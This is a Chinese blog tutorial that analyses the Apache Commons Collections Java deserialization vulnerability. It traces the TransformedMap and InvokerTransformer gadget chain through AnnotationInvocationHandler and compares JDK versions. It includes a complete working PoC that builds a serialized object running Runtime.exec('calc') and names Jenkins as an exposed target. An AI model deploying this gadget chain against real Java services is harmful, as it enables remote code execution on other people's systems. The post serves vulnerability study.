理解Apache Commons Collections反序列化原理

220 篇文章 7 订阅
213 篇文章 3 订阅

Apache Commons Collections反序列化原理

redrain大佬的这篇文章写这个原理写的非常详细:
Lib之过?Java反序列化漏洞通用利用分析

涉及到两个大类:

  • Map-> TransformedMap
  • Transformer-> InvokerTransformer,ConstantTransformer,ChainedTransformer

Apache Commons Collections背景知识(任意代码执行的原理)

根据官方说明:

Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities.

Commons-Collections旨在给JDK中自带的Collection类提供新的接口、实现以及功能。
参考:https://commons.apache.org/proper/commons-collections/

这个Map不一般:TransformedMap

全限定名是:org.apache.commons.collections.map.TransformedMap

先从JDK自带的Map说起。Map(JDK自带java.util.Map接口,其中java.util.HashMap是其常见实现类)是存储键值对的数据结构。然后相应地,Apache Commons Collections实现了TransformedMap(字面意思“经过转换后的Map”。具体来说是通过decorate方法。)

这个类实现了Map(通过继承间接实现)和Serializable。
在这里插入图片描述

转换Map的关键接口:Transformer

全限定名:org.apache.commons.collections.Transformer

看一下Transformer这个接口源代码里的注释:
在这里插入图片描述
它只需要被实现一个接口:

public Object transform(Object input);

接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。

特殊的InvokerTransformer

全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!

public class InvokerTransformer implements Transformer, Serializable {
...

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

在这里插入图片描述

前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:

        //得到AbstractInputCheckedMapDecorator.MapEntry对象
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //触发漏洞
        onlyElement.setValue("foobar");

->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.MapEntry#setValue
在这里插入图片描述
->

org/apache/commons/collections/map/TransformedMap#checkSetValue
在这里插入图片描述
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
在这里插入图片描述
而这每个Transformer都带着自己的payload。只是每个Transformer分工不同。一个一个看,ConstantTransformer直接返回其之前通过构造器传入的Runtime class对象(这个Runtime class对象是当时用构造器传进去的new ConstantTransformer(Runtime.class)):
在这里插入图片描述
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime class对象,
在这里插入图片描述
然后是三个InvokerTransformer。
看一下InvokerTransformer这个类的接收三个参数的构造器(待调用的方法名、参数类型数组、参数对象数组):
在这里插入图片描述
在跟流程之前,先梳理一下通过Runtime执行任意命令的流程:
java.lang.Runtime类执行其静态方法getRuntime()得到一个Runtime类的实例:
//TODO
但是我们现在只有Runtime.class对象,如果得到一个Runtime类的实例呢?
参考:
https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#getMethod-java.lang.String-java.lang.Class…-
看一下官方关于class类的getMethod方法的原型:

public Method getMethod(String name,
                        Class<?>... parameterTypes)
                 throws NoSuchMethodException,
                        SecurityException

其说明为:

Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object. The name parameter is a String specifying the simple name of the desired method. The parameterTypes parameter is an array of Class objects that identify the method’s formal parameter types, in declared order.

name参数是一个字符串,表示方法的名字。parameterTypes是可变参数列表,是一个可变长度的class[]数组。具体得看这个方法接收几个参数,每个参数都是什么类型了。
比如我们第一个InvokerTransformer构造器中传入的方法名是"getMethod",并且是接收{String.class, Class[].class }类型,即String类型、class数组类型的那个getMethod方法。
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
传入的是Runtime class对象,
在这里插入图片描述

经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()这个Method对象。
在这里插入图片描述
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime对象。
在这里插入图片描述
最后一步演示:
在这里插入图片描述

但是,这里只是为了做漏洞演示,毕竟这里只是在测试命令执行。而为了让服务端执行我们的命令,我们需要修改最后一步,让服务端为了反序列而调用ObjectInputStream#readObejct时,触发Map中某一项去调用setValue(),自动执行我们构造的命令。

rt.jar!sun/reflect/annotation/AnnotationInvocationHandler.java
在IDEA中结合frohoff的JDK代码进行调试:
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
刚好这个类实现了序列化接口,而且有一个成员变量memberValues是Map类型。(注意:其构造方法接收两个参数:class对象和Map对象,且不是public的构造方法,需要后续反射的时候设置setAccessible(true)
参考:http://gityuan.com/2015/07/18/java-reflection/

且调用了setValue方法:
在这里插入图片描述
将构造PoC和执行反序列化操作触发PoC两段分开之后,整个过程大概是:
在这里插入图片描述

总结

1、ConstantTransformer:
=> Runtime class对象;(PoC中通过构造方法传入Runtime.class对象)
2、第一个InvokerTransformer:
Runtime class对象(调用getMethod)
=> java.lang.Runtime.getRuntime()这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()这个Method对象(调用invoke)
=> java.lang.Runtime对象
4、第三个InvokerTransformer:
java.lang.Runtime对象(调用exec,传入参数Calculator)
=> 实现命令执行

阅读ysoserial源码,发现主要是CommonsCollections1这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
在这里插入图片描述

漏洞调试

在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。

PoC

来自redrain博客。

package com.cqq;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {

    public static void main(String[] args) throws Exception{
        // 构造一个有四个成员的Transformer数组。通过组合一个ConstantTransformer和三个InvokerTransformer构造payload,待构造成ChainedTransformer对象。
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //得到TransformedMap对象
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        /* 本地触发
        //得到AbstractInputCheckedMapDecorator.MapEntry对象
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //触发漏洞
        onlyElement.setValue("foobar");
         */


        // 构造之后待远程触发
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取到AnnotationInvocationHandler的接收class类型和Map类型的构造器
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        // 用于保证反射可调用非Public的属性与方法
        ctor.setAccessible(true);
        // 通过AnnotationInvocationHandler构造器传入outerMap对象,并构造除AnnotationInvocationHandler实例
        Object instance = ctor.newInstance(Target.class, outerMap);

        String serFile = "CommonsCollectionsPoC.ser";
        /* 将恶意的序列化对象写入文件中 待网络传输被反序列化*/
        serialize(instance, serFile);

        /* 模拟反序列化执行任意代码 */
        deSerialize(serFile);

    }


    public static void serialize(Object object, String serFile) throws Exception{
        File f = new File(serFile);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(object);
        out.flush();
        out.close();
    }

    public static void deSerialize(String serFile) throws Exception{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream((serFile)));
        in.readObject();
    }
}

注意,由于我们只需要对value进行操作,所以这里:

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

在本该传key transformer的地方只传了null,因为我们没有对key进行转换。

Gadget Chain思路总结

因为AnnotationInvocationHandler其构造方法接受一个Map对象,而且在其readObject的时候会调用这个map对象的setValue方法。于是我们构造一个TransformedMap对象,并先通过反射将这个对象通过AnnotationInvocationHandler构造器传入,通过网络发送出去,在网络的另一边,如果对面有readObject操作,且classpath中有commonsCollection库,自己AnnotationInvocationHandler(jdk自带,具体版本代码不同,待细看),就可以在另一边执行这系列操作,执行攻击者指定的任意代码。
参考调试中的调用堆栈:
在这里插入图片描述

不同版本jdk中AnnotationInvocationHandler代码区别

注意这个链的执行成功跟JDK版本有关系。在最开始使用的jdk1.8.0_172中,AnnotationInvocationHandler的readObject方法是这样的:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

并没有setValue,而在jdk1.8.0中:


高版本的构造器中:
在这里插入图片描述

1.8.0版本C:\Program Files\Java\jdk1.8.0\jre\lib\rt.jar!\sun\reflect\annotation\AnnotationInvocationHandler.class的构造器:
在这里插入图片描述

1.8.0中,
在这里插入图片描述
ObjectInputStream#readObject

=>AnnotationInvocationHandler#readObject
=>ObjectInputStream#defaultReadObject
在这里插入图片描述

看了一下Jenkins的lib,果然有commons-collection3这个包:
在这里插入图片描述

参考

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值